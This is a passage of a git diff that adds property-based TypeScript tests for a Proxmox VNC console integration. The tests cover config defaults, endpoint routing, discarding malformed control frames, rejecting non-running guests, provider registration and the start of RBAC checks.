ENV_TO_KEY[envVar]; + + expect(consoleConfig[key]).toBe(DEFAULTS[key]); + }, + ), + { numRuns: 100 }, + ); + }); + + it("invalid env var values → warning logged mentioning the env var name", () => { + fc.assert( + fc.property( + fc.constantFrom(...ENV_VARS), + invalidEnvValueArb, + (envVar, invalidValue) => { + clearConsoleEnv(); + const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); + + process.env[envVar] = invalidValue; + new ConfigService(); + + const calls = warnSpy.mock.calls.map((c) => String(c[0])); + const mentionsEnvVar = calls.some((msg) => msg.includes(envVar)); + expect(mentionsEnvVar).toBe(true); + }, + ), + { numRuns: 100 }, + ); + }); + + it("valid positive integers → correctly parsed (no defaults applied)", () => { + fc.assert( + fc.property( + fc.constantFrom(...ENV_VARS), + validPositiveIntArb, + (envVar, validValue) => { + clearConsoleEnv(); + vi.spyOn(console, "warn").mockImplementation(() => {}); + + process.env[envVar] = validValue; + + // Ensure heartbeat < timeout to avoid the cross-field default revert + // (ConfigService reverts BOTH fields when heartbeat >= timeout). + if (envVar === "CONSOLE_HEARTBEAT_INTERVAL_MS") { + const hb = parseInt(validValue, 10); + process.env.CONSOLE_SESSION_TIMEOUT_MS = String(hb + 1000000); + } else if (envVar === "CONSOLE_SESSION_TIMEOUT_MS") { + const timeout = parseInt(validValue, 10); + // A timeout of 1 admits no valid heartbeat: heartbeat must be a + // positive integer strictly below it. Math.max(1, timeout - 1) + // silently yielded heartbeat === timeout === 1, tripping the very + // revert this branch exists to avoid. Such inputs are outside the + // property's domain, so discard rather than clamp. + fc.pre(timeout > 1); + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = String(timeout - 1); + } + + const config = new ConfigService(); + const consoleConfig = config.getConsoleConfig(); + const key = ENV_TO_KEY[envVar]; + + expect(consoleConfig[key]).toBe(parseInt(validValue, 10)); + }, + ), + { numRuns: 100 }, + ); + }); + + it("heartbeatIntervalMs >= sessionTimeoutMs → both revert to defaults", () => { + fc.assert( + fc.property( + // heartbeat value + fc.integer({ min: 1, max: 10000000 }), + // offset: 0 means equal, positive means heartbeat > timeout + fc.nat({ max: 5000000 }), + (heartbeat, offset) => { + clearConsoleEnv(); + vi.spyOn(console, "warn").mockImplementation(() => {}); + + const timeout = Math.max(1, heartbeat - offset); + // heartbeat >= timeout guaranteed since offset >= 0 + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = String(heartbeat); + process.env.CONSOLE_SESSION_TIMEOUT_MS = String(timeout); + + const config = new ConfigService(); + const consoleConfig = config.getConsoleConfig(); + + expect(consoleConfig.sessionTimeoutMs).toBe(DEFAULTS.sessionTimeoutMs); + expect(consoleConfig.heartbeatIntervalMs).toBe(DEFAULTS.heartbeatIntervalMs); + }, + ), + { numRuns: 100 }, + ); + }); + + it("heartbeatIntervalMs >= sessionTimeoutMs → warning logged", () => { + fc.assert( + fc.property( + fc.integer({ min: 2, max: 10000000 }), + (heartbeat) => { + clearConsoleEnv(); + const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); + + // Equal case: heartbeat === timeout + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = String(heartbeat); + process.env.CONSOLE_SESSION_TIMEOUT_MS = String(heartbeat); + + new ConfigService(); + + const calls = warnSpy.mock.calls.map((c) => String(c[0])); + const mentionsCrossField = calls.some( + (msg) => + msg.includes("CONSOLE_HEARTBEAT_INTERVAL_MS") && + msg.includes("must be less than"), + ); + expect(mentionsCrossField).toBe(true); + }, + ), + { numRuns: 100 }, + ); + }); + + it("no CONSOLE_* env vars set → all defaults applied", () => { + fc.assert( + fc.property( + fc.constant(null), + () => { + clearConsoleEnv(); + vi.spyOn(console, "warn").mockImplementation(() => {}); + + const config = new ConfigService(); + const consoleConfig = config.getConsoleConfig(); + + expect(consoleConfig.sessionTimeoutMs).toBe(DEFAULTS.sessionTimeoutMs); + expect(consoleConfig.maxSessionDuration).toBe(DEFAULTS.maxSessionDuration); + expect(consoleConfig.maxConcurrentSessions).toBe(DEFAULTS.maxConcurrentSessions); + expect(consoleConfig.heartbeatIntervalMs).toBe(DEFAULTS.heartbeatIntervalMs); + }, + ), + { numRuns: 10 }, + ); + }); +}); diff --git a/backend/test/properties/consoleGuestRouting.property.test.ts b/backend/test/properties/consoleGuestRouting.property.test.ts new file mode 100644 index 00000000..7d10bc95 --- /dev/null +++ b/backend/test/properties/consoleGuestRouting.property.test.ts @@ -0,0 +1,152 @@ +/** + * Property-Based Tests for Guest Type Routing Correctness + * + * Feature: console-integration, Property 12: Guest type routing correctness + * + * **Validates: Requirements 9.4** + * + * Property 12: Guest type routing correctness + * ∀ guestType ∈ {qemu, lxc}, node ∈ alphabetic strings, vmid ∈ positive integers: + * When createSession is called, the provider SHALL POST to + * `/api2/json/nodes/{node}/{guestType}/{vmid}/vncproxy`. + */ + +import { describe, it, expect, vi } from "vitest"; +import * as fc from "fast-check"; + +import { ProxmoxConsoleProvider } from "../../src/integrations/proxmox/ProxmoxConsoleProvider"; +import type { ProxmoxClient } from "../../src/integrations/proxmox/ProxmoxClient"; +import type { ProxmoxConfig } from "../../src/integrations/proxmox/types"; +import type { LoggerService } from "../../src/services/LoggerService"; + +function makeLogger(): LoggerService { + return { + info: () => {}, + warn: () => {}, + error: () => {}, + debug: () => {}, + } as unknown as LoggerService; +} + +function makeProxmoxConfig(): ProxmoxConfig { + return { + host: "proxmox.example.com", + port: 8006, + }; +} + +/** + * Create a mock ProxmoxClient that: + * - Returns a guest resource with the specified type from cluster/resources + * - Returns running status from the status endpoint + * - Returns a VNC ticket from the vncproxy endpoint + * - Tracks calls to `post` for assertion + */ +function makeMockClient( + node: string, + vmid: number, + guestType: "qemu" | "lxc", +): { client: ProxmoxClient; postSpy: ReturnType } { + const postSpy = vi.fn().mockResolvedValue({ + ticket: "PVEVNC:test-ticket", // pragma: allowlist secret + port: "5900", + }); + + const getSpy = vi.fn().mockImplementation((endpoint: string) => { + if (endpoint.includes("/cluster/resources")) { + return Promise.resolve([ + { node, vmid, name: `guest-${String(vmid)}`, type: guestType, status: "running" }, + ]); + } + if (endpoint.includes("/status/current")) { + return Promise.resolve({ status: "running" }); + } + return Promise.resolve({}); + }); + + const client = { + get: getSpy, + post: postSpy, + } as unknown as ProxmoxClient; + + return { client, postSpy }; +} + +describe("Feature: console-integration, Property 12: Guest type routing correctness", () => { + it("routes QEMU guests to /qemu/{vmid}/vncproxy endpoint", () => { + return fc.assert( + fc.asyncProperty( + fc.string({ minLength: 1, maxLength: 20, unit: fc.constantFrom(..."abcdefghijklmnopqrstuvwxyz") }), + fc.integer({ min: 100, max: 99999 }), + async (node, vmid) => { + const { client, postSpy } = makeMockClient(node, vmid, "qemu"); + const provider = new ProxmoxConsoleProvider(client, makeProxmoxConfig(), makeLogger()); + + const nodeId = `proxmox:${node}:${String(vmid)}`; + await provider.createSession(nodeId, "user-1"); + + expect(postSpy).toHaveBeenCalledOnce(); + const calledEndpoint = postSpy.mock.calls[0][0] as string; + expect(calledEndpoint).toBe( + `/api2/json/nodes/${node}/qemu/${String(vmid)}/vncproxy`, + ); + }, + ), + { numRuns: 100 }, + ); + }); + + it("routes LXC guests to /lxc/{vmid}/vncproxy endpoint", () => { + return fc.assert( + fc.asyncProperty( + fc.string({ minLength: 1, maxLength: 20, unit: fc.constantFrom(..."abcdefghijklmnopqrstuvwxyz") }), + fc.integer({ min: 100, max: 99999 }), + async (node, vmid) => { + const { client, postSpy } = makeMockClient(node, vmid, "lxc"); + const provider = new ProxmoxConsoleProvider(client, makeProxmoxConfig(), makeLogger()); + + const nodeId = `proxmox:${node}:${String(vmid)}`; + await provider.createSession(nodeId, "user-1"); + + expect(postSpy).toHaveBeenCalledOnce(); + const calledEndpoint = postSpy.mock.calls[0][0] as string; + expect(calledEndpoint).toBe( + `/api2/json/nodes/${node}/lxc/${String(vmid)}/vncproxy`, + ); + }, + ), + { numRuns: 100 }, + ); + }); + + it("uses the correct guest type path segment for any random guest type", () => { + return fc.assert( + fc.asyncProperty( + fc.constantFrom("qemu" as const, "lxc" as const), + fc.string({ minLength: 1, maxLength: 20, unit: fc.constantFrom(..."abcdefghijklmnopqrstuvwxyz") }), + fc.integer({ min: 100, max: 99999 }), + async (guestType, node, vmid) => { + const { client, postSpy } = makeMockClient(node, vmid, guestType); + const provider = new ProxmoxConsoleProvider(client, makeProxmoxConfig(), makeLogger()); + + const nodeId = `proxmox:${node}:${String(vmid)}`; + await provider.createSession(nodeId, "user-1"); + + expect(postSpy).toHaveBeenCalledOnce(); + const calledEndpoint = postSpy.mock.calls[0][0] as string; + + // The endpoint must contain the guest type as a path segment + expect(calledEndpoint).toContain(`/${guestType}/`); + expect(calledEndpoint).toBe( + `/api2/json/nodes/${node}/${guestType}/${String(vmid)}/vncproxy`, + ); + + // Verify it does NOT contain the other type + const otherType = guestType === "qemu" ? "lxc" : "qemu"; + expect(calledEndpoint).not.toContain(`/${otherType}/`); + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleMalformedControl.property.test.ts b/backend/test/properties/consoleMalformedControl.property.test.ts new file mode 100644 index 00000000..501c5ab4 --- /dev/null +++ b/backend/test/properties/consoleMalformedControl.property.test.ts @@ -0,0 +1,295 @@ +/** + * Property-Based Tests for Malformed Control Message Resilience + * + * Feature: console-integration, Property 16: Malformed control message resilience + * + * **Validates: Requirements 5.8** + * + * Property 16: Malformed control message resilience + * ∀ binary control frame with unrecognized type byte or truncated payload: + * the system SHALL discard the frame and continue relaying without + * terminating the session. + * + * Specifically: + * - Empty frames (0 bytes) → discard + * - Unrecognized type byte (anything != 0x01) with any payload → discard + * - Type 0x01 (resize) but total length < 5 bytes → discard (truncated) + * + * In all discard cases: + * - upstream.send is NOT called + * - session is NOT terminated (no clientWs.close) + */ + +import { describe, it, expect, vi, beforeEach } from "vitest"; +import * as fc from "fast-check"; +import { WebSocket } from "ws"; + +import { ConsoleWebSocketProxy } from "../../src/services/ConsoleWebSocketProxy"; +import type { ConsoleSessionManager } from "../../src/services/ConsoleSessionManager"; +import type { ConsoleSession } from "../../src/integrations/console/types"; +import type { LoggerService } from "../../src/services/LoggerService"; +import type { Server as HTTPServer } from "http"; + +// ============================================================ +// Constants +// ============================================================ + +const RESIZE_TYPE = 0x01; +const RESIZE_FRAME_LENGTH = 5; + +// ============================================================ +// Helpers +// ============================================================ + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + } as unknown as LoggerService; +} + +function createMockSessionManager(): ConsoleSessionManager { + return { + validateTokenForUpgrade: vi.fn(), + consumeToken: vi.fn(), + getUpstreamUrl: vi.fn(), + terminateSession: vi.fn(), + validateToken: vi.fn(), + heartbeat: vi.fn(), + getSession: vi.fn(), + getActiveSessionCount: vi.fn(), + createSession: vi.fn(), + terminateAllForProvider: vi.fn(), + cleanupExpiredSessions: vi.fn(), + } as unknown as ConsoleSessionManager; +} + +function createMockUpstream(): WebSocket { + return { + readyState: WebSocket.OPEN, + send: vi.fn(), + close: vi.fn(), + terminate: vi.fn(), + on: vi.fn(), + } as unknown as WebSocket; +} + +function createMockClientWs(): WebSocket { + return { + readyState: WebSocket.OPEN, + send: vi.fn(), + close: vi.fn(), + terminate: vi.fn(), + on: vi.fn(), + } as unknown as WebSocket; +} + +function createMockSession(): ConsoleSession { + return { + sessionId: "test-session-id", + token: "test-token", + wsUrl: "/ws/console/terminal", + transport: "websocket-terminal", + state: "active", + startedAt: new Date().toISOString(), + nodeId: "node-test", + userId: "user-test", + provider: "proxmox", + }; +} + +/** + * Creates a ConsoleWebSocketProxy instance with mocked dependencies. + * We use a fake HTTP server that doesn't actually listen. + */ +function createProxy(): { + proxy: ConsoleWebSocketProxy; + sessionManager: ConsoleSessionManager; +} { + const mockHttpServer = { + on: vi.fn(), + } as unknown as HTTPServer; + + const sessionManager = createMockSessionManager(); + const logger = createMockLogger(); + const config = { + allowedOrigins: [], + console: { + sessionTimeoutMs: 300000, + maxSessionDuration: 28800000, + maxConcurrentSessions: 3, + heartbeatIntervalMs: 30000, + }, + }; + + const proxy = new ConsoleWebSocketProxy( + mockHttpServer, + sessionManager, + config, + logger, + ); + + return { proxy, sessionManager }; +} + +// ============================================================ +// Arbitraries +// ============================================================ + +/** + * Arbitrary: Unrecognized type byte (anything != 0x01). + * Combined with a random payload of 0–50 bytes. + */ +const unrecognizedTypeFrameArb: fc.Arbitrary = fc + .integer({ min: 0, max: 255 }) + .filter((b) => b !== RESIZE_TYPE) + .chain((typeByte) => + fc.uint8Array({ minLength: 0, maxLength: 50 }).map((payload) => { + const buf = Buffer.alloc(1 + payload.length); + buf[0] = typeByte; + payload.forEach((byte, i) => { buf[i + 1] = byte; }); + return buf; + }), + ); + +/** + * Arbitrary: Truncated resize frame. + * First byte is 0x01 (resize), but total length is 1–4 bytes (< 5). + */ +const truncatedResizeFrameArb: fc.Arbitrary = fc + .integer({ min: 1, max: RESIZE_FRAME_LENGTH - 1 }) + .chain((totalLength) => + fc.uint8Array({ minLength: totalLength, maxLength: totalLength }).map((bytes) => { + const buf = Buffer.from(bytes); + buf[0] = RESIZE_TYPE; // Force first byte to resize type + return buf; + }), + ); + +/** + * Arbitrary: Empty frame (0 bytes). + */ +const emptyFrameArb: fc.Arbitrary = fc.constant(Buffer.alloc(0)); + +/** + * Arbitrary: All malformed frames combined. + * Union of empty, unrecognized type, and truncated resize. + */ +const malformedFrameArb: fc.Arbitrary = fc.oneof( + emptyFrameArb, + unrecognizedTypeFrameArb, + truncatedResizeFrameArb, +); + +// ============================================================ +// Tests +// ============================================================ + +describe("Feature: console-integration, Property 16: Malformed control message resilience", () => { + let proxy: ConsoleWebSocketProxy; + let handleMessage: (data: Buffer, upstream: WebSocket, session: ConsoleSession) => void; + + beforeEach(() => { + const created = createProxy(); + proxy = created.proxy; + // Access private method via bracket notation, bound to the proxy instance + const rawFn = (proxy as unknown as Record)[ + "handleTerminalControlMessage" + ] as (data: Buffer, upstream: WebSocket, session: ConsoleSession) => void; + handleMessage = rawFn.bind(proxy); + }); + + it("discards frames with unrecognized type bytes without sending upstream or terminating session", () => { + fc.assert( + fc.property(unrecognizedTypeFrameArb, (frame) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + + handleMessage(frame, upstream, session); + + // Upstream must NOT receive any data + expect(upstream.send).not.toHaveBeenCalled(); + // Session must NOT be terminated (no close on clientWs proxy) + expect(upstream.close).not.toHaveBeenCalled(); + }), + { numRuns: 100 }, + ); + }); + + it("discards truncated resize frames (type 0x01, length < 5) without sending upstream or terminating session", () => { + fc.assert( + fc.property(truncatedResizeFrameArb, (frame) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + + handleMessage(frame, upstream, session); + + expect(upstream.send).not.toHaveBeenCalled(); + expect(upstream.close).not.toHaveBeenCalled(); + }), + { numRuns: 100 }, + ); + }); + + it("discards empty frames (0 bytes) without sending upstream or terminating session", () => { + fc.assert( + fc.property(emptyFrameArb, (frame) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + + handleMessage(frame, upstream, session); + + expect(upstream.send).not.toHaveBeenCalled(); + expect(upstream.close).not.toHaveBeenCalled(); + }), + { numRuns: 100 }, + ); + }); + + it("all malformed frames are discarded: upstream never receives data, session continues", () => { + fc.assert( + fc.property(malformedFrameArb, (frame) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + + handleMessage(frame, upstream, session); + + // Core property: malformed → discard without side effects + expect(upstream.send).not.toHaveBeenCalled(); + expect(upstream.close).not.toHaveBeenCalled(); + expect(upstream.terminate).not.toHaveBeenCalled(); + }), + { numRuns: 100 }, + ); + }); + + it("valid resize frames (type 0x01, length >= 5, valid dimensions) ARE forwarded upstream", () => { + // Counter-property: verifies that non-malformed frames DO get forwarded, + // confirming the test is not trivially passing. + const validResizeArb = fc.tuple( + fc.integer({ min: 1, max: 500 }), + fc.integer({ min: 1, max: 200 }), + ).map(([cols, rows]) => { + const buf = Buffer.alloc(RESIZE_FRAME_LENGTH); + buf[0] = RESIZE_TYPE; + buf.writeUInt16BE(cols, 1); + buf.writeUInt16BE(rows, 3); + return buf; + }); + + fc.assert( + fc.property(validResizeArb, (frame) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + + handleMessage(frame, upstream, session); + + // Valid resize frame SHOULD be forwarded + expect(upstream.send).toHaveBeenCalledWith(frame, { binary: true }); + }), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleNonRunningGuest.property.test.ts b/backend/test/properties/consoleNonRunningGuest.property.test.ts new file mode 100644 index 00000000..518110aa --- /dev/null +++ b/backend/test/properties/consoleNonRunningGuest.property.test.ts @@ -0,0 +1,220 @@ +/** + * Property-Based Tests for Non-Running Guest Rejection + * + * Feature: console-integration, Property 13: Non-running guest rejection + * + * **Validates: Requirements 9.6** + * + * Property 13: Non-running guest rejection + * ∀ Proxmox guest not in the "running" state: + * console session creation SHALL fail with an error message indicating + * the guest must be running. + */ + +import { describe, it, expect, vi } from "vitest"; +import * as fc from "fast-check"; + +import { ProxmoxConsoleProvider } from "../../src/integrations/proxmox/ProxmoxConsoleProvider"; +import type { ProxmoxClient } from "../../src/integrations/proxmox/ProxmoxClient"; +import type { ProxmoxConfig } from "../../src/integrations/proxmox/types"; +import type { LoggerService } from "../../src/services/LoggerService"; + +// ============================================================ +// Constants +// ============================================================ + +/** Proxmox guest states from the API vocabulary */ +const PROXMOX_STATES = [ + "running", + "stopped", + "paused", + "suspended", + "shutdown", + "prelaunch", + "postmigrate", +] as const; + +const NON_RUNNING_STATES = PROXMOX_STATES.filter((s) => s !== "running"); + +const GUEST_TYPES = ["qemu", "lxc"] as const; + +// ============================================================ +// Helpers +// ============================================================ + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + } as unknown as LoggerService; +} + +function createMockProxmoxClient( + guestType: "qemu" | "lxc", + node: string, + vmid: number, + status: string, +): ProxmoxClient { + return { + get: vi.fn().mockImplementation((endpoint: string) => { + if (endpoint.includes("/cluster/resources")) { + return Promise.resolve([ + { node, vmid, type: guestType, name: `guest-${String(vmid)}`, status }, + ]); + } + if (endpoint.includes("/status/current")) { + return Promise.resolve({ status }); + } + return Promise.resolve({}); + }), + post: vi.fn().mockResolvedValue({ ticket: "PVEVNC:test", port: "5900" }), + authenticate: vi.fn().mockResolvedValue(undefined), + delete: vi.fn().mockResolvedValue(""), + waitForTask: vi.fn().mockResolvedValue(undefined), + } as unknown as ProxmoxClient; +} + +const defaultProxmoxConfig: ProxmoxConfig = { + host: "proxmox.test.local", + port: 8006, +}; + +// ============================================================ +// Arbitraries +// ============================================================ + +/** Random non-running guest state */ +const nonRunningStateArb = fc.constantFrom(...NON_RUNNING_STATES); + +/** Random guest type */ +const guestTypeArb = fc.constantFrom<"qemu" | "lxc">(...GUEST_TYPES); + +/** Random node name: lowercase alpha 3-12 chars */ +const nodeNameArb = fc.stringMatching(/^[a-z]{3,12}$/); + +/** Random VMID: positive integer in typical Proxmox range */ +const vmidArb = fc.integer({ min: 100, max: 99999 }); + +/** Random user ID */ +const userIdArb = fc.stringMatching(/^[a-z0-9-]{3,20}$/); + +/** Any Proxmox state (including running) */ +const anyStateArb = fc.constantFrom(...PROXMOX_STATES); + +// ============================================================ +// Tests +// ============================================================ + +describe("Feature: console-integration, Property 13: Non-running guest rejection", () => { + it("session creation fails with 'Guest must be running' for any non-running state", () => { + return fc.assert( + fc.asyncProperty( + nonRunningStateArb, + guestTypeArb, + nodeNameArb, + vmidArb, + userIdArb, + async (state, guestType, node, vmid, userId) => { + const logger = createMockLogger(); + const client = createMockProxmoxClient(guestType, node, vmid, state); + const provider = new ProxmoxConsoleProvider(client, defaultProxmoxConfig, logger); + + const nodeId = `proxmox:${node}:${String(vmid)}`; + + await expect( + provider.createSession(nodeId, userId), + ).rejects.toThrow("Guest must be running for console access"); + }, + ), + { numRuns: 100 }, + ); + }); + + it("session creation does NOT throw for running state", () => { + return fc.assert( + fc.asyncProperty( + guestTypeArb, + nodeNameArb, + vmidArb, + userIdArb, + async (guestType, node, vmid, userId) => { + const logger = createMockLogger(); + const client = createMockProxmoxClient(guestType, node, vmid, "running"); + const provider = new ProxmoxConsoleProvider(client, defaultProxmoxConfig, logger); + + const nodeId = `proxmox:${node}:${String(vmid)}`; + + // Should not throw — session creation proceeds past the running check + const session = await provider.createSession(nodeId, userId); + expect(session).toBeDefined(); + expect(session.sessionId).toBeDefined(); + expect(session.transport).toBe("websocket-vnc"); + }, + ), + { numRuns: 100 }, + ); + }); + + it("non-running rejection applies regardless of guest type", () => { + return fc.assert( + fc.asyncProperty( + nonRunningStateArb, + guestTypeArb, + vmidArb, + async (state, guestType, vmid) => { + const logger = createMockLogger(); + const node = "testnode"; + const client = createMockProxmoxClient(guestType, node, vmid, state); + const provider = new ProxmoxConsoleProvider(client, defaultProxmoxConfig, logger); + + const nodeId = `proxmox:${node}:${String(vmid)}`; + + try { + await provider.createSession(nodeId, "user-1"); + // If we get here, the test fails — non-running should always throw + expect.fail("Expected createSession to throw for non-running guest"); + } catch (error) { + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toBe( + "Guest must be running for console access", + ); + } + }, + ), + { numRuns: 100 }, + ); + }); + + it("only 'running' state permits session creation among all Proxmox states", () => { + return fc.assert( + fc.asyncProperty( + anyStateArb, + guestTypeArb, + nodeNameArb, + vmidArb, + userIdArb, + async (state, guestType, node, vmid, userId) => { + const logger = createMockLogger(); + const client = createMockProxmoxClient(guestType, node, vmid, state); + const provider = new ProxmoxConsoleProvider(client, defaultProxmoxConfig, logger); + + const nodeId = `proxmox:${node}:${String(vmid)}`; + + if (state === "running") { + // Should succeed + const session = await provider.createSession(nodeId, userId); + expect(session).toBeDefined(); + } else { + // Should fail with the expected message + await expect( + provider.createSession(nodeId, userId), + ).rejects.toThrow("Guest must be running for console access"); + } + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleProviderRegistration.property.test.ts b/backend/test/properties/consoleProviderRegistration.property.test.ts new file mode 100644 index 00000000..e65fac87 --- /dev/null +++ b/backend/test/properties/consoleProviderRegistration.property.test.ts @@ -0,0 +1,189 @@ +/** + * Property-Based Tests for Console Provider Registration Invariant + * + * Feature: console-integration, Property 1: Console provider registration invariant + * + * **Validates: Requirements 1.4** + * + * Property 1: Console provider registration invariant + * ∀ plugin implementing ConsolePlugin interface: + * after registration with IntegrationManager, it SHALL appear in the + * console providers map and be retrievable by name. + */ + +import { describe, it, expect, vi } from "vitest"; +import * as fc from "fast-check"; + +import { IntegrationManager } from "../../src/integrations/IntegrationManager"; +import type { + ConsolePlugin, + ConsoleCapability, + ConsoleTransport, +} from "../../src/integrations/console/types"; +import type { + IntegrationConfig, + HealthStatus, +} from "../../src/integrations/types"; +import type { LoggerService } from "../../src/services/LoggerService"; + +// ============================================================ +// Helpers +// ============================================================ + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + } as unknown as LoggerService; +} + +function createMockConsolePlugin(name: string): ConsolePlugin { + return { + name, + type: "information" as const, + initialize: vi.fn().mockResolvedValue(undefined), + healthCheck: vi.fn().mockResolvedValue({ + healthy: true, + message: "ok", + lastCheck: new Date().toISOString(), + } satisfies HealthStatus), + getConfig: vi.fn().mockReturnValue({ + enabled: true, + name, + type: "information", + config: {}, + } satisfies IntegrationConfig), + isInitialized: vi.fn().mockReturnValue(true), + getConsoleCapabilities: vi.fn().mockResolvedValue([ + { + transport: "websocket-vnc", + displayName: "VNC Console", + connectionSchema: {}, + } satisfies ConsoleCapability, + ]), + createSession: vi.fn().mockResolvedValue({ + sessionId: "test", + token: "tok", + wsUrl: "/ws/console/vnc?token=tok", + transport: "websocket-vnc" as ConsoleTransport, + state: "active" as const, + startedAt: new Date().toISOString(), + nodeId: "node-1", + userId: "user-1", + provider: name, + }), + terminateSession: vi.fn().mockResolvedValue(true), + getSessionStatus: vi.fn().mockResolvedValue({ + state: "active" as const, + startedAt: new Date().toISOString(), + }), + getSupportedTransports: vi.fn().mockReturnValue(["websocket-vnc"]), + }; +} + +// ============================================================ +// Arbitraries +// ============================================================ + +/** Random plugin name: lowercase alpha, 3-15 chars */ +const pluginNameArb = fc.stringMatching(/^[a-z]{3,15}$/); + +/** Unique array of plugin names (1-8 plugins) */ +const pluginNamesArb = fc.uniqueArray(pluginNameArb, { + minLength: 1, + maxLength: 8, +}); + +// ============================================================ +// Tests +// ============================================================ + +describe("Feature: console-integration, Property 1: Console provider registration invariant", () => { + it("after registration, a ConsolePlugin is retrievable by name via getConsoleProvider", () => { + fc.assert( + fc.property(pluginNameArb, (name) => { + const logger = createMockLogger(); + const manager = new IntegrationManager({ logger }); + + const plugin = createMockConsolePlugin(name); + manager.registerPlugin(plugin, { + enabled: true, + name, + type: "information", + config: {}, + }); + + const retrieved = manager.getConsoleProvider(name); + expect(retrieved).not.toBeNull(); + expect(retrieved).toBe(plugin); + expect(retrieved!.name).toBe(name); + }), + { numRuns: 100 }, + ); + }); + + it("after registration of N plugins, all appear in getAllConsoleProviders", () => { + fc.assert( + fc.property(pluginNamesArb, (names) => { + const logger = createMockLogger(); + const manager = new IntegrationManager({ logger }); + + const plugins: ConsolePlugin[] = []; + for (const name of names) { + const plugin = createMockConsolePlugin(name); + plugins.push(plugin); + manager.registerPlugin(plugin, { + enabled: true, + name, + type: "information", + config: {}, + }); + } + + const allProviders = manager.getAllConsoleProviders(); + + // All registered plugins must be present + expect(allProviders.length).toBe(names.length); + + for (let i = 0; i < names.length; i++) { + const found = allProviders.find((p) => p.name === names[i]); + expect(found).toBeDefined(); + expect(found).toBe(plugins[i]); + } + }), + { numRuns: 100 }, + ); + }); + + it("unregistered plugin names return null from getConsoleProvider", () => { + fc.assert( + fc.property( + pluginNamesArb, + pluginNameArb.filter((n) => n.length >= 3), + (registeredNames, queryName) => { + // Skip if queryName is already in registeredNames + fc.pre(!registeredNames.includes(queryName)); + + const logger = createMockLogger(); + const manager = new IntegrationManager({ logger }); + + for (const name of registeredNames) { + const plugin = createMockConsolePlugin(name); + manager.registerPlugin(plugin, { + enabled: true, + name, + type: "information", + config: {}, + }); + } + + const result = manager.getConsoleProvider(queryName); + expect(result).toBeNull(); + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleRbacCreation.property.test.ts b/backend/test/properties/consoleRbacCreation.property.test.ts new file mode 100644 index 00000000..4931fdd0 --- /dev/null +++ b/backend/test/properties/consoleRbacCreation.property.test.ts @@ -0,0 +1,255 @@ +/** + * Property-Based Tests for RBAC Enforcement on Session Creation + * + * Feature: console-integration, Property 5: RBAC enforcement for session creation + * + * **Validates: Requirements 6.2, 6.3** + * + * Property 5: RBAC enforcement for session creation + * ∀ user ∈ Users, hasConsoleAccess ∈ {true, false}: + * POST /api/console/sessions returns 201 iff user holds `console:access`; + * otherwise 403 with FORBIDDEN error code. + */ + +import { describe, it, expect, beforeEach, afterEach, vi, beforeAll, afterAll } from "vitest"; +import * as fc from "fast-check"; +import express from "express"; +import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; +import { randomUUID } from "crypto"; + +import { createConsoleRouter } from "../../src/routes/console"; +import { SQLiteAdapter } from "../../src/database/SQLiteAdapter"; +import { AuthenticationService } from "../../src/services/AuthenticationService"; +import { UserService } from "../../src/services/UserService"; +import { PermissionService } from "../../src/services/PermissionService"; +import { RoleService } from "../../src/services/RoleService"; +import { DIContainer } from "../../src/container/DIContainer"; +import { LoggerService } from "../../src/services/LoggerService"; +import { ExpertModeService } from "../../src/services/ExpertModeService"; +import { ConfigService } from "../../src/config/ConfigService"; +import type { IntegrationManager } from "../../src/integrations/IntegrationManager"; +import type { ConsoleSessionManager } from "../../src/services/ConsoleSessionManager"; +import type { ConsoleSession } from "../../src/integrations/console/types"; +import { initializeTestSchema } from "../helpers/schema"; + +const JWT_SECRET = "test-jwt-secret-for-property-tests-minimum-32chars!!"; // pragma: allowlist secret + +function buildContainer(): DIContainer { + const container = new DIContainer(); + container.register("logger", new LoggerService()); + container.register("expertMode", new ExpertModeService()); + container.register("config", new ConfigService()); + return container; +} + +function makeMockIntegrationManager(): IntegrationManager { + return { + getConsoleProvider: vi.fn().mockReturnValue({ + createSession: vi.fn().mockImplementation( + (nodeId: string, userId: string): ConsoleSession => ({ + sessionId: randomUUID(), + token: randomUUID(), + wsUrl: `/ws/console/vnc?token=${randomUUID()}`, + transport: "websocket-vnc", + state: "active", + startedAt: new Date().toISOString(), + nodeId, + userId, + provider: "proxmox", + }), + ), + }), + } as unknown as IntegrationManager; +} + +function makeMockSessionManager(): ConsoleSessionManager { + return { + getActiveSessionCount: vi.fn().mockResolvedValue(0), + createSession: vi.fn().mockResolvedValue(undefined), + } as unknown as ConsoleSessionManager; +} + +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + +describe("Feature: console-integration, Property 5: RBAC enforcement for session creation", () => { + let db: SQLiteAdapter; + let authService: AuthenticationService; + let userService: UserService; + let permissionService: PermissionService; + let roleService: RoleService; + + beforeEach(async () => { + process.env.JWT_SECRET = JWT_SECRET; + process.env.HOST = "localhost"; + process.env.PORT = "3000"; + + db = new SQLiteAdapter(":memory:"); + await db.initialize(); + await initializeTestSchema(db); + + authService = new AuthenticationService(db, JWT_SECRET); + userService = new UserService(db, 